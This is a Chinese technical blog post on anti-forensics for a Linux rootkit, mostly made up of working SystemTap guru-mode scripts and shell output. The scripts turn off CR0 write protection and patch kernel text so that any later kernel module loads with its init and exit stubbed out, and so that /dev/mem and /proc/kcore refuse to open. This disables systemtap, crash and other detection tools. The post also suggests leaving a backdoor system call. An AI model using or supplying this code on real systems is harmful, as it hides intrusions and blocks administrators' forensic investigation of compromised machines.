Linux Rootkit躲避内核检测

来自 Linux Rootkit如何避开内核检测的

Rootkit在登堂入室并得手后,还要记得把门锁上。

如果我们想注入一个Rootkit到内核,同时不想被侦测到,那么我们需要做的是精妙的隐藏,并保持低调静悄悄,这个话题我已经谈过了,诸如进程摘链,TCP链接摘链潜伏等等,详情参见:
https://blog.csdn.net/dog250/article/details/105371830
https://blog.csdn.net/dog250/article/details/105394840

然则天网恢恢,疏而不漏,马脚总是要露出来的。如果已经被怀疑,如何反制呢?

其实第一时间采取反制措施势必重要!我们需要的只是占领制高点,让后续的侦测手段无从开展。

我们必须知道都有哪些侦测措施用来应对Rootkit,常见的,不外乎以下:

  • systemtap,raw kprobe/jprobe,ftrace等跟踪机制。它们通过内核模块起作用。
  • 自研内核模块,采用指令特征匹配,指令校验机制排查Rootkit。
  • gdb/kdb/crash调试机制,它们通过/dev/mem,/proc/kcore起作用。

和杀毒软件打架一样,Rootkit和反Rootkit也是互搏的对象。 无论如何互搏,其战场均在内核态。

很显然,我们要做的就是:

  1. 第一时间封堵内核模块的加载。
  2. 第一时间封堵/dev/mem,/proc/kcore的打开。

行文至此,我们应该已经可以说出无数种方法来完成上面的事情,对我个人而言,我的风格肯定又是二进制hook,但这次我希望用一种 正规的方式 来搞事情。

什么是正规的方式,什么又是奇技淫巧呢?

我们知道,Linux内核的text段是在编译时静态确定的,加载时偶尔有重定向,但依然保持着紧凑的布局,所有的内核函数均在一个范围固定的紧凑内存空间内。

因此凡是往超过该固定范围的地方进行call/jmp的,基本都是违规,都应该严查。换句话说, 静态代码不能往动态内存进行直接的call/jmp(毕竟静态代码并不知道动态地址啊), 如果静态代码需要动态的函数完成某种任务,那么只能用 回调, 而回调函数在指令层面是要借助寄存器来寻址的,而不可能用rel32立即数来寻址。

如果我们在静态的代码中hack掉一条call/jmp指令,使得它以新的立即数作为操作数call/jmp到我们的动态代码,那么这就是一个奇技淫巧,这就是不正规的方式。

反之,如果我们调用Linux内核现成的接口注册一个回调函数来完成我们的任务,那么这就是一种正规的方式,本文中我将使用一种基于 内核通知链(notifier chain) 的正规技术,来封堵内核模块。

下面步入正题。

首先,我们来看第一点。下面的stap脚本展示了如何做:

#!/usr/bin/stap -g
// dismod.stp
%{
// 我们利用通知链机制。
// 每当内核模块进行加载时,都会有消息在通知链上通知,我们只需要注册一个handler。
// 我们的handler让该模块“假加载”!
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{
	int i;
	struct module *mod = (struct module *)data;
	unsigned char *init, *exit;
	unsigned long cr0;

	if (action != MODULE_STATE_COMING)
		return NOTIFY_OK;

	init = (unsigned char *)mod->init;
	exit = (unsigned char *)mod->exit;
	// 为了避免校准rel32调用偏移,直接使用汇编。
	asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);
	clear_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
	// 把模块的init函数换成"return 0;"
	init[0] = 0x31;	// xor %eax, %eax
	init[1] = 0xc0;	// retq
	init[2] = 0xc3;	// retq
	// 把模块的exit函数换成"return;" 防止侦测模块在exit函数中做一些事情。
	exit[0] = 0xc3;
	set_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

	return NOTIFY_OK;
}

struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}

function dismod()
%{
	int ret = 0;

	// 正规的方法,我们可以直接从vmalloc区域直接分配内存。
	dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));
	if (!dismod_module_nb) {
		printk("malloc nb failed\n");
		return;
	}
	// 必须使用__vmalloc接口分配可执行(PAGE_KERNEL_EXEC)内存。
	_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);
	if (!_dismod_module_notify) {
		printk("malloc stub failed\n");
		return;
	}

	memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);
	dismod_module_nb->notifier_call = _dismod_module_notify;
	dismod_module_nb->priority = 1;

	ret = register_module_notifier(dismod_module_nb);
	if (ret) {
		printk("notifier register failed\n");
		return;
	}
%}

probe begin
{
	dismod();
	exit();
}

现在,让我们运行上述脚本:

[root@localhost test]# ./dismod.stp
[root@localhost test]#

我们的预期是,此后所有的模块将会 “假装” 成功加载进内核,但实际上并不起任何作用,因为模块的_init函数被短路绕过,不再执行。

来吧,我们写一个简单的内核模块,看看效果:

// testmod.c
#include <linux/module.h>

noinline int test_module_function(int i)
{
	printk("%d\n", i);
	// 我们的测试模块非常狠,一加载就让内核panic。
	panic("shabi"); 
}

static int __init testmod_init(void)
{
	printk("init\n");
	test_module_function(1234);
	return 0;
}

static void __exit testmod_exit(void)
{
	printk("exit\n");
}

module_init(testmod_init);
module_exit(testmod_exit);
MODULE_LICENSE("GPL");

如果我们在没有执行dismod.stp的情况下加载上述模块,显而易见,内核会panic,万劫不复。但实际上呢?

编译,加载之:

[root@localhost test]# insmod ./testmod.ko
[root@localhost test]# lsmod |grep testmod
testmod                12472  0
[root@localhost test]# cat /proc/kallsyms |grep testmod
ffffffffa010b027 t testmod_exit	[testmod]
ffffffffa010d000 d __this_module	[testmod]
ffffffffa010b000 t test_module_function	[testmod]
ffffffffa010b027 t cleanup_module	[testmod]
[root@localhost test]# rmmod testmod
[root@localhost test]#
[root@localhost test]# echo $?
0

内核什么也没有打印,也并没有panic,相反,模块成功载入,并且其所有的符号均已经注册成功,并且还能成功卸载。这意味着,模块机制失效了!

我们试试还能使用systemtap么?

[root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork\n"); }'
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?
ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.
WARNING: /usr/bin/staprun exited with status: 1
Pass 5: run failed.  [man error::pass5]

看来不行了。

假设该机制用于Rootkit的反侦测,如果想用stap跟踪内核,进而查出异常点,这一招已经失效。

接下来,让我们封堵/dev/mem,/proc/kcore,而这个简直太容易了:

#!/usr/bin/stap -g
// diskcore.stp
function kcore_poke()
%{
	unsigned char *_open_kcore, *_open_devmem;
	unsigned char ret_1[6];
	unsigned long cr0;

	_open_kcore = (void *)kallsyms_lookup_name("open_kcore");
	if (!_open_kcore)
		return;
	_open_devmem = (void *)kallsyms_lookup_name("open_port");
	if (!_open_devmem)
		return;

	// 下面的指令表示 return -1;即返回错误!也就意味着“文件不可打开”。
	ret_1[0] = 0xb8; // mov $-1, %eax;
	ret_1[1] = 0xff;
	ret_1[2] = 0xff;
	ret_1[3] = 0xff;
	ret_1[4] = 0xff;
	ret_1[5] = 0xc3; // retq

	// 这次我们俗套一把,不用text poke,借用更简单的CR0来完成text的写。
	cr0 = read_cr0();
	clear_bit(16, &cr0);
	write_cr0(cr0);
	// text内存已经可写,直接用memcpy来吧。
	memcpy(_open_kcore, ret_1, sizeof(ret_1));
	memcpy(_open_devmem, ret_1, sizeof(ret_1));
	set_bit(16, &cr0);
	write_cr0(cr0);
%}

probe begin
{
	kcore_poke();
	exit();
}

来吧,我们试一下crash命令:

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem
...
This program has absolutely no warranty.  Enter "help warranty" for details.

crash: /dev/mem: Operation not permitted

Usage:

  crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS]	(dumpfile form)
  crash [OPTION]... [NAMELIST]             		(live system form)

Enter "crash -h" for details.
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore
...
crash: /proc/kcore: Operation not permitted
...

哈哈,完全无法调试live kernel了!试问如何抓住Rootkit现场?

注意,上面的两个机制,必须让禁用/dev/mem,/proc/kcore先于封堵模块执行,不然就会犯形而上学的错误,自己打自己。上述方案仅做演示,正确的做法应该是将它们合在一起:

#!/usr/bin/stap -g
// anti-sense.stp
%{
static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)
{
	int i;
	struct module *mod = (struct module *)data;
	unsigned char *init, *exit;
	unsigned long cr0;

	if (action != MODULE_STATE_COMING)
		return NOTIFY_OK;

	init = (unsigned char *)mod->init;
	exit = (unsigned char *)mod->exit;
	// 为了避免校准rel32调用偏移,直接使用汇编。
	asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);
	clear_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);
	// 把模块的init函数换成"return 0;"
	init[0] = 0x31;	// xor %eax, %eax
	init[1] = 0xc0;	// retq
	init[2] = 0xc3;	// retq
	// 把模块的exit函数换成"return;"
	exit[0] = 0xc3;
	set_bit(16, &cr0);
	asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

	return NOTIFY_OK;
}

struct notifier_block *dismod_module_nb;
notifier_fn_t _dismod_module_notify;
%}

function diskcore()
%{
	unsigned char *_open_kcore, *_open_devmem;
	unsigned char ret_1[6];
	unsigned long cr0;

	_open_kcore = (void *)kallsyms_lookup_name("open_kcore");
	if (!_open_kcore)
		return;
	_open_devmem = (void *)kallsyms_lookup_name("open_port");
	if (!_open_devmem)
		return;

	// 下面的指令表示 return -1;
	ret_1[0] = 0xb8; // mov $-1, %eax;
	ret_1[1] = 0xff;
	ret_1[2] = 0xff;
	ret_1[3] = 0xff;
	ret_1[4] = 0xff;
	ret_1[5] = 0xc3; // retq

	// 这次我们俗套一把,不用text poke,借用更简单的CR0来完成text的写。
	cr0 = read_cr0();
	clear_bit(16, &cr0);
	write_cr0(cr0);
	memcpy(_open_kcore, ret_1, sizeof(ret_1));
	memcpy(_open_devmem, ret_1, sizeof(ret_1));
	set_bit(16, &cr0);
	write_cr0(cr0);
%}

function dismod()
%{
	int ret = 0;

	// 正规的方法,我们可以直接从vmalloc区域直接分配内存。
	dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));
	if (!dismod_module_nb) {
		printk("malloc nb failed\n");
		return;
	}
	// 必须使用__vmalloc接口分配可执行(PAGE_KERNEL_EXEC)内存。
	_dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);
	if (!_dismod_module_notify) {
		printk("malloc stub failed\n");
		return;
	}

	memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);
	dismod_module_nb->notifier_call = _dismod_module_notify;
	dismod_module_nb->priority = 1;

	printk("notify addr:%p\n", _dismod_module_notify);
	ret = register_module_notifier(dismod_module_nb);
	if (ret) {
		printk("notify register failed\n");
		return;
	}
%}

probe begin
{
	dismod();
	diskcore();
	exit();
}

从此以后,若想逮到之前的那些Rootkit,你无法加载内核模块,无法crash调试,无法自己编程mmap /dev/mem,重启吧!重启之后呢?一切归于尘土。

然而,我们自己怎么办?这将把我们自己的退路也同时封死,只要使用电压冻结住内存快照,离线分析,真相必将大白!我们必须给自己留个退路,以便捣毁并恢复现场后,全身而退,怎么做到呢?

很容易,还记得在文章 Linux动态为内核添加新的系统调用 中的方法吗?我们封堵了前门的同时,以新增系统调用的方式留下后门,岂不是很正常的想法?

最后,上面的所有内容,本无善恶褒贬,同样可以利用它来 防止内核被Rootkit注入。 重要的是,谁的速度快,谁先占领制高点。

是的。经理也是这样想的。然而,经理不拉二胡,因为拉二胡落下的松香灰会把经理west trousers弄脏。


浙江温州皮鞋湿,下雨进水不会胖。

展开阅读全文
©️2020 CSDN 皮肤主题: 编程工作室 设计师: CSDN官方博客 返回首页
实付0元
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值